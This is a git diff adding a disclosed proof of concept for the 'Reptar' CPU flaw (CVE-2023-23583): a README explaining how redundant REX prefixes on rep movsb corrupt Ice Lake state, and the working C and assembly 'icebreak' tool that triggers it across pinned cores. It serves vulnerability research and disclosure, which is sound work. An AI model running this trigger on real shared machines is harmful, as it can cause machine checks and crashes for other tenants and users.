diff --git a/pocs/cpus/reptar/Makefile b/pocs/cpus/reptar/Makefile
new file mode 100644
index 00000000..242c63aa
--- /dev/null
+++ b/pocs/cpus/reptar/Makefile
@@ -0,0 +1,16 @@
+CFLAGS=-O0 -ggdb3 -march=icelake-server
+LDFLAGS=-pthread -Wl,-z,noexecstack -static
+NFLAGS=
+
+.PHONY: clean
+
+all: icebreak
+
+%.o: %.asm
+ nasm $(NFLAGS) -O0 -felf64 -o $@ $^
+
+icebreak: main.o hammer.o threads.o util.o
+
+clean:
+ rm -f *.o core
+ rm -f icebreak
diff --git a/pocs/cpus/reptar/README.md b/pocs/cpus/reptar/README.md
new file mode 100644
index 00000000..e853f50b
--- /dev/null
+++ b/pocs/cpus/reptar/README.md
@@ -0,0 +1,151 @@
+# REP MOVSB Redundant Prefixes Can Corrupt Ice Lake Microarchitectural State
+
aka "Reptar", CVE-2023-23583
+
+Tavis Ormandy
+Eduardo Vela Nava
+Josh Eads
+Alexandra Sandulescu
+
+
+## Introduction
+
+If you've ever written any x86 assembly at all, you've probably used `rep movsb`.
+It's the idiomatic way of moving memory around on x86. You set the *source*,
+*destination*, *direction* and the *count* - then just let the processor handle
+all the details!
+
+```nasm
+lea rdi, [rel dst]
+lea rsi, [rel src]
+std
+mov rcx, 32
+rep movsb
+```
+
+The actual instruction here is `movsb`, the `rep` is simply a prefix that
+changes how the instruction works. In this case, it indicates that you want
+this operation **rep**eated multiple times.
+
+There are lots of other prefixes too, but they don't all apply to every
+instruction.
+
+#### Prefix Decoding
+
+An interesting feature of x86 is that the instruction decoding is generally
+quite relaxed. If you use a prefix that doesn't make sense or conflicts with
+other prefixes nothing much will happen, it will usually just be ignored.
+
+This fact is sometimes useful; compilers can use redundant prefixes to pad a
+single instruction to a desirable alignment boundary.
+
+Take a look at this snippet, this is exactly the same code as above, just a
+bunch of useless or redundant prefixes have been added:
+
+```nasm
+ rep lea rdi, [rel dst]
+ cs lea rsi, [rel src]
+ gs gs gs std
+ repnz mov rcx, 32
+rep rep rep rep movsb
+```
+
+Perhaps the most interesting prefixes are `rex`, `vex` and `evex`, all of which
+change how subsequent instructions are decoded.
+
+Let's take a look at how they work.
+
+#### The REX prefix
+
+The i386 only had 8 general purpose registers, so you could specify which
+register you want to use in just 3 bits (because 2^3 is 8).
+
+The way that instructions were encoded took advantage of this fact, and reserved
+*just* enough bits to specify any of those registers.
+
+This is a problem, because x86-64 added 8 additional general purpose registers.
+We now have sixteen possible registers..that's 2^4, so we're going
+to need another bit.
+
+The solution to this is the `rex` prefix, which gives us some spare bits that
+the next instruction can borrow.
+
+When we're talking about rex, we usually write it like this:
+
+```nasm
+rex.rxb
+```
+
+`rex` is a single-byte prefix, the first four bits are mandatory and the
+remaining four bits called `b`, `x`, `r` and `w` are all optional. If you see
+`rex.rb` that means only the `r` and `b` bits are set, all the others are
+unset.
+
+These optional bits give us room to encode more general purpose registers in
+the following instruction.
+
+#### Encoding Rules
+
+So now we know that `rex` increases the available space for encoding operands,
+and that useless or redundant prefixes are usually ignored on x86. So... what
+should this instruction do?
+
+```nasm
+rex.rxb rep movsb
+```
+
+The `movsb` instruction doesn't have any operands - they're all implicit - so
+any `rex` bits are meaningless.
+
+If you guessed that the processor will just silently ignore the `rex` prefix,
+you would be correct!
+
+Well... except on machines that support a new feature called *fast short
+repeat move*! We discovered that a bug with redundant `rex` prefixes could
+interact with this feature in an unexpected way and introduce a serious
+vulnerability.
+
+#### Reproduce
+
+We're publishing all of our research today to our [security research
+repository](https://github.com/google/security-research/). If you want to
+reproduce the vulnerability you can use our `icebreak` tool, I've also made a
+local mirror available [here](files/icebreak.tar.gz).
+
+```
+$ ./icebreak -h
+usage: ./icebreak [OPTIONS]
+ -c N,M Run repro threads on core N and M.
+ -d N Sleep N usecs between repro attempts.
+ -H N Spawn a hammer thread on core N.
+icebreak: you must at least specify a core pair with -c! (see -h for help)
+```
+
+The testcase enters what should be an infinite loop, and unaffected systems
+should see no output at all. On affected systems, a `.` is printed on each
+successful reproduction.
+
+```
+$ ./icebreak -c 0,4
+starting repro on cores 0 and 4
+.........................................................................
+.........................................................................
+.........................................................................
+.........................................................................
+.........................................................................
+```
+
+In general, if the cores are SMT
+siblings then you may observe random branches and if they're SMP siblings from the same package
+then you may observe machine checks.
+
+If you do *not* specify two different cores, then you might need to use a
+hammer thread to trigger a reproduction.
+
+## Solution
+
+Intel have
+[published](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00950.html)
+updated microcode for all affected processors. Your operating system or BIOS
+vendor may already have an update available!
+
diff --git a/pocs/cpus/reptar/config.asm b/pocs/cpus/reptar/config.asm
new file mode 100644
index 00000000..e69de29b
diff --git a/pocs/cpus/reptar/hammer.asm b/pocs/cpus/reptar/hammer.asm
new file mode 100644
index 00000000..f9e3e171
--- /dev/null
+++ b/pocs/cpus/reptar/hammer.asm
@@ -0,0 +1,22 @@
+BITS 64
+
+%include "syscalls.asm"
+%include "macros.asm"
+%include "config.asm"
+
+section .text
+
+global sibling_trigger
+global sibling_fault
+
+sibling_trigger:
+ mfence
+ mov rax, SYS_sched_yield
+ syscall
+ jmp sibling_trigger
+ hlt
+
+sibling_fault:
+ .repeat:
+ ud2
+ jmp .repeat
diff --git a/pocs/cpus/reptar/icebreak.asm b/pocs/cpus/reptar/icebreak.asm
new file mode 100644
index 00000000..d1b58a4a
--- /dev/null
+++ b/pocs/cpus/reptar/icebreak.asm
@@ -0,0 +1,47 @@
+BITS 64
+
+%include "syscalls.asm"
+%include "macros.asm"
+%include "config.asm"
+
+global icelake_repro
+global icelake_buf
+
+section .data
+ align 4096
+ dst: dq 0, 0
+ src: dq 0, 0
+section .text
+
+ ; This should be aligned on a page boundary so that we can mprotect/madvise it.
+ align 4096
+icelake_repro:
+ ; We ret on error, so save where we want to go.
+ ; this is just because ret is a one-byte opcode.
+ push .finish
+ xor r8, r8 ; iteration counter
+ mov rax, SYS32_sched_yield ; this benchmarks better than syscall
+ int 0x80
+ xor rcx, rcx
+ align 32
+ ; If you find an MCE difficult to repro, adjust this number for your SKU (try 0..8).
+ times 2 nop
+ .repeat:
+ inc r8 ; keep track of executions
+ inc rcx ; movsb count
+ lea rdi, [rel dst]
+ lea rsi, [rel src]
+ rep
+ rex
+ rex r
+ movsb
+ rep movsb
+ jmp short .repeat
+ .after:
+ lfence
+ ; This should be unreachable
+ times 128 ret
+ .finish:
+ mov rax, r8
+ ret
+ hlt
diff --git a/pocs/cpus/reptar/macros.asm b/pocs/cpus/reptar/macros.asm
new file mode 100644
index 00000000..d6cb8f12
--- /dev/null
+++ b/pocs/cpus/reptar/macros.asm
@@ -0,0 +1,21 @@
+
+; macro to generate rex bytes
+; e.g. rex w,x,b
+%macro rex 0-4
+ %assign _rex 0b01000000
+ %rep %0
+ %ifidni %1, W
+ %assign _rex _rex | 0b1000
+ %elifidni %1, R
+ %assign _rex _rex | 0b0100
+ %elifidni %1, X
+ %assign _rex _rex | 0b0010
+ %elifidni %1, B
+ %assign _rex _rex | 0b0001
+ %else
+ %error unrecognized flag %1
+ %endif
+ %rotate 1
+ %endrep
+ db _rex
+%endmacro
diff --git a/pocs/cpus/reptar/main.c b/pocs/cpus/reptar/main.c
new file mode 100644
index 00000000..c06d0dcb
--- /dev/null
+++ b/pocs/cpus/reptar/main.c
@@ -0,0 +1,135 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "threads.h"
+#include "util.h"
+
+extern uint64_t icelake_repro();
+extern uint64_t sibling_trigger();
+
+static void * icelake_worker(void *param)
+{
+ // Need to enable cancellation.
+ pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
+
+ icelake_repro();
+
+ pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL);
+
+ return 0;
+}
+
+static void * icelake_hammer(void *param)
+{
+ // Need to enable cancellation.
+ pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
+
+ sibling_trigger();
+
+ pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL);
+
+ return 0;
+}
+
+static void print_help()
+{
+ logmsg("usage: ./icebreak [OPTIONS]");
+ logmsg(" -c N,M Run repro threads on core N and M.");
+ logmsg(" -d N Sleep N usecs between repro attempts.");
+ logmsg(" -H N Spawn a hammer thread on core N.");
+}
+
+static struct rlimit rlim = {
+ .rlim_cur = 0,
+ .rlim_max = 0,
+};
+
+static int delay = 1000;
+
+int main(int argc, char **argv)
+{
+ pthread_t A = 0, B = 0;
+ pthread_t hammer = 0;
+ int coreA = -1;
+ int coreB = -1;
+ int opt;
+ int coreH = -1;
+ pid_t child;
+
+ setrlimit(RLIMIT_CORE, &rlim);
+
+ while ((opt = getopt(argc, argv, "H:hc:d:")) != -1) {
+ switch (opt) {
+ case 'c': if (sscanf(optarg, "%u,%u", &coreA, &coreB) != 2)
+ errx(EXIT_FAILURE, "the format required is N,M, for example: 0,1");
+ break;
+ case 'd': delay = atoi(optarg);
+ break;
+ case 'H': coreH = atoi(optarg);
+ break;
+ case 'h': print_help();
+ break;
+ default:
+ print_help();
+ errx(EXIT_FAILURE, "unrecognized commandline argument");
+ }
+ }
+
+ if (coreA < 0 || coreB < 0) {
+ errx(EXIT_FAILURE, "you must at least specify a core pair with -c! (see -h for help)");
+ }
+
+ if (coreH >= 0) {
+ hammer = spawn_thread_core(icelake_hammer, NULL, coreH);
+ logmsg("Hammer thread %p on core %d", hammer, coreH);
+ }
+
+ logmsg("starting repro on cores %d and %d", coreA, coreB);
+
+ do {
+ // Run this in a subprocess in case it crashes.
+ if ((child = fork()) == 0) {
+
+ // Make sure it doesn't get stuck if it jumps into an infinite loop.
+ alarm(5);
+
+ // Attempt to repro 64 times.
+ for (int i = 0; i < 64; i++) {
+ if (!A || pthread_tryjoin_np(A, NULL) == 0)
+ A = spawn_thread_core(icelake_worker, NULL, coreA);
+ if (!B || pthread_tryjoin_np(B, NULL) == 0)
+ B = spawn_thread_core(icelake_worker, NULL, coreB);
+
+ usleep(delay);
+ fputc('.', stderr);
+ }
+
+ // No luck, it might be in a weird state - restart.
+ pthread_cancel(A);
+ pthread_cancel(B);
+
+ fputc('\n', stderr);
+
+ pthread_join(A, NULL);
+ pthread_join(B, NULL);
+
+ _exit(0);
+ }
+ } while (waitpid(child, NULL, 0) != -1);
+
+ err(EXIT_FAILURE, "this is supposed to be unreachable, waitpid() failed");
+
+ return 0;
+}
diff --git a/pocs/cpus/reptar/syscalls.asm b/pocs/cpus/reptar/syscalls.asm
new file mode 100644
index 00000000..2658ffbf
--- /dev/null
+++ b/pocs/cpus/reptar/syscalls.asm
@@ -0,0 +1,5 @@
+%define SYS_sched_yield 0x18
+%define SYS32_sched_yield 0x9e
+%define SYS_exit 0x3c
+%define SYS_alarm 0x25
+%define SYS_pause 0x22
diff --git a/pocs/cpus/reptar/threads.c b/pocs/cpus/reptar/threads.c
new file mode 100644
index 00000000..e96e8bed
--- /dev/null
+++ b/pocs/cpus/reptar/threads.c
@@ -0,0 +1,52 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "threads.h"
+
+// This wrapper spawns a thread locked to a specific CPU.
+pthread_t spawn_thread_core(void *(*start_routine)(void *), void *restrict arg, int cpu)
+{
+ pthread_t tid = 0;
+ pthread_attr_t attr;
+ cpu_set_t set;
+
+ // Unspecified
+ if (cpu < 0 || !start_routine)
+ return tid;
+
+ pthread_attr_init(&attr);
+ CPU_ZERO(&set);
+ CPU_SET(cpu, &set);
+
+ if (pthread_attr_setaffinity_np(&attr, sizeof(cpu_set_t), &set) != 0)
+ err(EXIT_FAILURE, "failed to lock thread to specified core %d", cpu);
+ if (pthread_create(&tid, &attr, start_routine, arg) != 0)
+ err(EXIT_FAILURE, "failed to start thread on specifed core %d", cpu);
+ pthread_attr_destroy(&attr);
+ return tid;
+}
+
+int set_cpu_affinity(int cpu)
+{
+ cpu_set_t set;
+ CPU_ZERO(&set);
+ CPU_SET(cpu, &set);
+
+ if (sched_setaffinity(0, sizeof(set), &set) != 0) {
+ err(EXIT_FAILURE, "failed to set cpu affinity");
+ }
+ return 0;
+}
diff --git a/pocs/cpus/reptar/threads.h b/pocs/cpus/reptar/threads.h
new file mode 100644
index 00000000..35f9af9d
--- /dev/null
+++ b/pocs/cpus/reptar/threads.h
@@ -0,0 +1,7 @@
+#ifndef __THREADS_H
+#define __THREADS_H
+
+pthread_t spawn_thread_core(void *(*start_routine)(void *), void *restrict arg, int cpu);
+int set_cpu_affinity(int cpu);
+
+#endif
diff --git a/pocs/cpus/reptar/util.c b/pocs/cpus/reptar/util.c
new file mode 100644
index 00000000..14f6a646
--- /dev/null
+++ b/pocs/cpus/reptar/util.c
@@ -0,0 +1,79 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "util.h"
+
+bool quiet;
+
+void logmsg(char *format, ...)
+{
+ va_list ap;
+ // Try to limit console noise.
+ if (quiet == true)
+ return;
+
+ // Print a debugging message.
+ va_start(ap, format);
+ vfprintf(stderr, format, ap);
+ fputc('\n', stderr);
+ va_end(ap);
+ return;
+}
+
+void print(char *format, ...)
+{
+ va_list ap;
+ // Try to limit console noise.
+ if (quiet == true)
+ return;
+
+ // Print a debugging message.
+ va_start(ap, format);
+ vfprintf(stdout, format, ap);
+ va_end(ap);
+ return;
+}
+
+bool num_inrange(char *range, int num)
+{
+ char *r, *s, *e;
+
+ // Example:
+ // 1,2,3,4-8,2
+
+ if (range == NULL)
+ return false;
+
+ s = strtok_r(strdupa(range), ",", &r);
+
+ while (s) {
+ int start;
+ int end;
+
+ start = end = strtoul(s, &e, 0);
+
+ if (*e == '-') {
+ end = strtoul(++e, &e, 0);
+ }
+
+ if (*e != '\0' || end < start) {
+ errx(EXIT_FAILURE, "The range %s was not valid (example: 1,2,3,4-5)", s);
+ }
+
+ if (num >= start && num <= end)
+ return true;
+
+ s = strtok_r(NULL, ",", &r);
+ }
+
+ return false;
+}
diff --git a/pocs/cpus/reptar/util.h b/pocs/cpus/reptar/util.h
new file mode 100644
index 00000000..2456004d
--- /dev/null
+++ b/pocs/cpus/reptar/util.h
@@ -0,0 +1,10 @@
+#ifndef __UTIL_H
+#define __UTIL_H
+
+extern bool quiet;
+
+void logmsg(char *format, ...);
+void print(char *format, ...);
+bool num_inrange(char *range, int num);
+
+#endif